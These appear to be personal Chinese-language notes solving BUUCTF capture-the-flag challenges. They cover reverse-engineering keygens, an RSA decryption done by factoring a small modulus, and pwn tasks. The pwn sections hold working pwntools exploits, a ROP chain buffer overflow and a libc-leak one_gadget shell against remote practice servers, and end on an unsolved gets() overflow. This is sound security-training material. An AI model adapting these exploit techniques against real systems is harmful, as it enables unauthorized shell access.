做题记录tmp
buu-reverse-Youngter-drive
难点
程序执行逻辑:
- 线程1,奇数位加密
- 线程2,什么也不做但是循环计数器减少一个
两个线程交替执行
WaitForSingleObject(hObject, 0xFFFFFFFF);
ReleaseMutex(hObject);
- 最后使用一个函数将加密结果与一个数组进行比对判断输入值是不是flag
注册机
result = list("TOiZiZtOrYaToUwPnToBsOaOapsyS")
print(len(result))
off418 = "QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasd"
cnt = 0x1D
print(len(result))
for i in range(len(result)):
# 反加密
if i % 2==1:
tmp_upper = chr(off418.find(result[i]) + 38)
tmp_lower = chr(off418.find(result[i]) + 96)
if tmp_upper.isupper():
result[i]=tmp_upper
else:
result[i]=tmp_lower
else:
pass
print(result)
flag = ''.join(result)
print(flag)# ThisisthreadofwindowshahaIsES
结果是少一位的,但是最后只校验了前29位,虽然有30位,理论上最后一位无论是什么都可以
但是buu有bug只能提交结尾是E的因此flag就是:flag{ThisisthreadofwindowshahaIsESE}
buu-reverse-ACTF-usualCrypt
思路
加密过程是:使用变形alpha表的base64加密得到字符串(已知)
这个变形base64加密过程:变表-》加密-》结果大小写反向
其中的:
- 变表:本质上是将原base64码表[6,15)进行0xA偏移值交换操作得到
- 结果大小写反向:python的字符串成员方法swapcase()
难点
难点就在于变表decode有两种常见思路
- 变表decode,但是python不支持
- 还原成正常表加密的结果,然后再decode
对于第二种方法,原理如下:
- 原编码表:ABCDEF
- 新编码表:CDEFDG
- 则将加密结果中的C替换成A,D替换成B,位次关系不变,变的是值
代码实现
# -*- coding: utf-8
import base64
sub300 = "zMXHz3TIgnxLxJhFAdtZn2fFk3lYCrtPC2l9".swapcase()
# 得到码表
base_alpha = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
proc_alpha = list(base_alpha)
for i in range(6,15):
proc_alpha[i],proc_alpha[i+0xA] = proc_alpha[i+0xA],proc_alpha[i]
# 还原原base64结果
def findIndex(input):
for i in range(len(proc_alpha)):
if proc_alpha[i]==input:
return i
enc = ''
for i in sub300:
# index 相同值不同
enc += base_alpha[findIndex(i)]
# base64正常码表decode
dec = base64.b64decode(enc)
print(dec)
buu-reverse-ACTF-easyre
难点
要找到真正的关键函数是
sub_400D35()
而不是通过you found me那个关键字找到位置是混淆的。- 这一点我还没搞懂
猜到比对规则找到key也就是v2 v3 v4 v5与byte_6CC0A0前四位(第四位开始是byte_6CC0A3)异或的结果然后答案就是byte_6CC0A0与key[i%4]对位xor的结果
注册机
str1 = [0x40, 0x35, 0x20] # byte_6CC0A0
str2 = [0x56, 0x5D, 0x18, 0x22, 0x45, 0x17, 0x2F, 0x24, 0x6E, 0x62, 0x3C, 0x27, 0x54, 0x48, 0x6C, 0x24, 0x6E, 0x72, 0x3C, 0x32, 0x45, 0x5B] # byte_6CC0A3
str = str1 + str2
src = 'flag'
key = '' # v2-v5
for i in range(len(src)):
key += chr(str[i] ^ ord(src[i]))
print(key)
flag = ''
for i in range(25):
flag += chr(str[i] ^ ord(key[i%4]))
print(flag)
buu-reverse-[ACTF新生赛2020]easyre
def findIndex(c):
dic = '\x7E}|{zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-,+*)(\x27&%$# !"\x00\x40'
for i in range(len(dic)):
if c == dic[i]:
return i
# if ((_BYTE)v19 != 0x41 | | HIBYTE(v19) != 0x43 | | v20 != 0x54 | | v21 != 0x46 | | v22 != 0x7B | | v26 != 0x7D )
lis = ['\x41','\x43','\x54','\x46','\x7B','\x7D']
for i in lis:
print(i,end=''); # ACTF{}
ans = []
lis2 = [42, 70, 39, 34, 78, 44, 34, 40, 73, 63, 43, 64]
# print(len(lis2))
for i in range(len(lis2)):
tmp = findIndex(chr(lis2[i]))
ans += chr(tmp + 1)
for i in ans:
print(i, end='')
# ACTF{}U9X_1S_W6@T?
即flag{U9X_1S_W6@T?}
buu-pwn-picoctf_2018_rop chain
本题是x32 cdecl指令集
构造格式
一个指令:cmd_address:gap_:arg1
- 后面不需要参数则不需要gap_
如system('/bin/sh')+exit(0)
- system_address:binsh_address:exit_address:p32(0x0)
'''
基本环境
'''
from pwn import *
from LibcSearcher import *
p = remote('node3.buuoj.cn', 25395)
context(os='linux', arch='i386', log_level='debug')
elf = ELF('PicoCTF_2018_rop_chain')
# libc= ELF('libc-2.29.so')
win1 = 0x80485CB
win2 = 0x80485D8
flag = 0x804862B
payload = b'a'*(0x18+0x4)
payload+= p32(win1) + p32(win2) + p32(flag)
# -1163220307 -559039827
payload+= p32(0xBAAAAAAD) + p32(0xDEADBAAD)
sleep(0.3)
p.sendline(payload)
sleep(0.3)
p.interactive()
# flag{d6966bc5-1e31-45ed-9a7d-a7e66e04f25d}
buu-pwn-one_gadget
https://blog.csdn.net/weixin_43092232/article/details/105085880
基本逻辑
连上会送你printf的地址,而且本身也给了你libc的文件(白送)。
你只要通过这两者,算出bin_sh
的地址输入就会给你flag了
以下是组件的介绍:
libc
- LibSearcher生成的对象libc1
- ELF生成的对象的libc2
libc1.dump['puts']==libc2.symbol['puts']
字符串相对地址
- LibSearcher生成的对象libc1
- pwntools中的ELF生成的对象的libc2
方法一:
libc1.dump('str_bin_sh')
方法二:
X无法验证:libc2.search("/bin/sh").next()
方法三:
前面都是使用pwntools或者LibSearcher,这一种是使用one_gadget指令实现
liunx下
one_gadget libc文件
注册机
'''
基本环境
'''
from pwn import *
from LibcSearcher import *
p = remote('node3.buuoj.cn', 25683)
context(os='linux', arch='amd64', log_level='debug')
elf = ELF('one_gadget')
libc= ELF('libc-2.29.so')
'''
得到printf的真实地址
'''
p.recvuntil(b'0x')
raw = p.recvline()
add = int(raw[:-1],16)
print(raw[:-1],add)
'''
计算bin_sh函数的地址然后会直接给你shell
'''
libc_base = add - libc.symbols['printf']
# libc_binsh= libc_base + libc.dump['str_bin_sh']
# libc_system=libc_base + libc.dump['system']
# one_gadget=libc.search('/bin/sh')#.next()#0x106ef8
# print(one_gadget)
# bin_sh基址可以通过one_gadget得到(最后一个)
bin_sh = libc_base+0x106ef8
sleep(0.3)
p.sendline(str(bin_sh))
'''
cat flag
'''
p.sendline(b'cat flag')
p.interactive()
buu-rsa 非寻常题
基本逻辑
这题更像,crpyto或者是misc题,压缩包有两个文件
- pub.key:公钥
- flag.enc:rsa加密后的flag
正常来说,解密需要公钥和私钥,但是只有公钥没有私钥,怎么解密呢?
因此我们得直接用公钥破解出答案。
解密原理
rsa加密简介:一种非对称加密
参考:http://www.ruanyifeng.com/blog/2013/06/rsa_algorithm_part_one.html
- 互质:两个数除了1没有其他公因数
- 欧拉函数f(n):1~n中的数有几个与n互质
- 模反元素:如果两个正整数a和n互质,那么一定可以找到整数b,使得ab被n除的余数是1
考虑了下还是没自己写,找现成的使用公钥破解rsa的代代码
来源:https://www.cnblogs.com/Colin-Cai/p/8013009.html
相关环境配置如下
- 使用python3.6版本(gmpy库最高支持3.6版本)
- gmpy2库配置(python3.6)参考:https://blog.csdn.net/x_yhy/article/details/83903367
- rsa库(python3.6):使用pip安装(conda有问题),会自动安装依赖库
import gmpy2 import rsa # http://tool.chacuo.net/cryptrsakeyparse # e是模数 n是指数(16进制) e = 65537 n = 0xC0332C5C64AE47182F6C1C876D42336910545A58F7EEFEFC0BCAAF5AF341CCDD print(n) # http://www.factordb.com/ # p是q是n的两个最大素数 p = 285960468890451637935629440372639283459 q = 304008741604601924494328155975272418463 phin = (p - 1) * (q - 1) d = gmpy2.invert(e, phin) key = rsa.PrivateKey(n, e, int(d), p, q) with open("flag.enc", "rb") as f: f = f.read() print(rsa.decrypt(f, key))
注册机
直接使用现成的脚本解密如下
import gmpy2
import rsa
# http://tool.chacuo.net/cryptrsakeyparse
# e是模数 n是指数(16进制)
e = 65537
n = 0xC0332C5C64AE47182F6C1C876D42336910545A58F7EEFEFC0BCAAF5AF341CCDD
print(n) # 86934482296048119190666062003494800588905656017203025617216654058378322103517
# 记得使用十进制的n:http://www.factordb.com/
# p是q是n的两个最大素数
p = 285960468890451637935629440372639283459
q = 304008741604601924494328155975272418463
phin = (p - 1) * (q - 1)
d = gmpy2.invert(e, phin)
key = rsa.PrivateKey(n, e, int(d), p, q)
with open("C:/Users/15426/Desktop/reverse/buu/14_rsa/flag.enc", "rb") as f:
f = f.read()
print(rsa.decrypt(f, key))
可以得到flag:b'flag{decrypt_256}\n'
buu-[BJDCTF2020]JustRE
关键字找到"BJD{1999902069a45792d233ac}"
BOOL __stdcall DialogFunc(HWND hWnd, UINT a2, WPARAM a3, LPARAM a4)
{
CHAR String; // [esp+0h] [ebp-64h]
if ( a2 != 272 )
{
if ( a2 != 273 )
return 0;
if ( (_WORD)a3 != 1 && (_WORD)a3 != 2 )
{
sprintf(&String, aD, ++dword_4099F0);
if ( dword_4099F0 == 19999 )
{ //经查询aBjdDD2069a4579为BJD{%d%d2069a45792d233ac}
sprintf(&String, aBjdDD2069a4579, 19999, 0);
SetWindowTextA(hWnd, &String);
return 0;
}
SetWindowTextA(hWnd, &String);
return 0;
}
EndDialog(hWnd, (unsigned __int16)a3);
}
return 1;
}
经查询aBjdDD2069a4579为BJD{%d%d2069a45792d233ac}根据printf的语法合理猜测%d%d分别为19999,0
很容易得到flag{1999902069a45792d233ac}
buu-reverse简单注册机
使用androidkiller打开找到关键代码文件,点击jd-gui按钮打开反汇编,找到关键段
package com.example.flag;
import android.view.View;
import android.widget.EditText;
import android.widget.TextView;
class null implements View.OnClickListener {
public void onClick(View paramView) {
byte b = 1;
String str = editview.getText().toString();
if (str.length() != 32 || str.charAt(31) != 'a' || str.charAt(1) != 'b' || str.charAt(0) + str.charAt(2) - 48 != 56)//32位 最后一位是a 第二位是b 第零和第三位加起来-48等于56
b = 0;
if (b == 1) {
char[] arrayOfChar = "dd2940c04462b4dd7c450528835cca15".toCharArray();
arrayOfChar[2] = (char)(char)(arrayOfChar[2] + arrayOfChar[3] - 50);
arrayOfChar[4] = (char)(char)(arrayOfChar[2] + arrayOfChar[5] - 48);
arrayOfChar[30] = (char)(char)(arrayOfChar[31] + arrayOfChar[9] - 48);
arrayOfChar[14] = (char)(char)(arrayOfChar[27] + arrayOfChar[28] - 97);
for (b = 0;; b++) {
String str1;
if (b >= 16) {
str1 = String.valueOf(arrayOfChar);//str1=arrayOfChar
textview.setText("flag{" + str1 + "}");
return;
}
String str2 = str1[31 - b];
str1[31 - b] = str1[b];
str1[b] = str2;
}
}
textview.setText(");
}
}
(反汇编结果仅供参考)合理推测str1就是arrayOfChar
先直接执行java获得arrayOfChar(因为可以直接运行懒得写python了)
public class HelloWorld {
public static void main(String []args) {
char[] arrayOfChar = "dd2940c04462b4dd7c450528835cca15".toCharArray();
arrayOfChar[2] = (char)(char)(arrayOfChar[2] + arrayOfChar[3] - 50);
arrayOfChar[4] = (char)(char)(arrayOfChar[2] + arrayOfChar[5] - 48);
arrayOfChar[30] = (char)(char)(arrayOfChar[31] + arrayOfChar[9] - 48);
arrayOfChar[14] = (char)(char)(arrayOfChar[27] + arrayOfChar[28] - 97);
System.out.println(arrayOfChar); // dd9990c04462b4ed7c450528835cca95
}
}
然后剩余的部分用python写如下
str = 'dd9990c04462b4ed7c450528835cca95'
lis = []
for i in str:
lis+=i
print(lis)
str2 = ['a']
for i in range(16):
str2[0]=lis[31-i]
lis[31 - i]=lis[i]
lis[i]=str2[0]
for i in lis:
print(i, end="")
# 59acc538825054c7de4b26440c0999dd
得到flag:flag{59acc538825054c7de4b26440c0999dd}
ciscn_2019_c_1
基本逻辑
经过IDA x64分析后可以得到,先输入1,然后会调用encrypt()
// local variable allocation has failed, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+Ch] [rbp-4h]
init(*(_QWORD *)&argc, argv, envp);
puts("EEEEEEE hh iii ");
puts("EE mm mm mmmm aa aa cccc hh nn nnn eee ");
puts("EEEEE mmm mm mm aa aaa cc hhhhhh iii nnn nn ee e ");
puts("EE mmm mm mm aa aaa cc hh hh iii nn nn eeeee ");
puts("EEEEEEE mmm mm mm aaa aa ccccc hh hh iii nn nn eeeee ");
puts("====================================================================");
puts("Welcome to this Encryption machine\n");
begin();
while ( 1 )
{
while ( 1 )
{
fflush(0LL);
v4 = 0;
__isoc99_scanf("%d", &v4);
getchar();
if ( v4 != 2 )
break;
puts("I think you can do it by yourself");
begin();
}
if ( v4 == 3 )
{
puts("Bye!");
return 0;
}
if ( v4 != 1 )
break;
encrypt();
begin();
}
puts("Something Wrong!");
return 0;
}
关键代码
过程大概是读取s字符串然后把s进行加密,然后输出加密后的结果
漏洞函数gets(s)
,其中s的缓冲区大小为48(本题可能用shellcode,没搞定暂时搁置)
int encrypt()
{
size_t v0; // rbx
char s[48]; // [rsp+0h] [rbp-50h]
__int16 v3; // [rsp+30h] [rbp-20h]
memset(s, 0, sizeof(s));
v3 = 0;
puts("Input your Plaintext to be encrypted");
gets(s);
while ( 1 )
{
v0 = (unsigned int)x;
if ( v0 >= strlen(s) )
break;
if ( s[x] <= 96 || s[x] > 122 )
{
if ( s[x] <= 64 || s[x] > 90 )
{
if ( s[x] > 47 && s[x] <= 57 )
s[x] ^= 0xFu;
}
else
{
s[x] ^= 0xEu;
}
}
else
{
s[x] ^= 0xDu;
}
++x;
}
puts("Ciphertext");
return puts(s);
}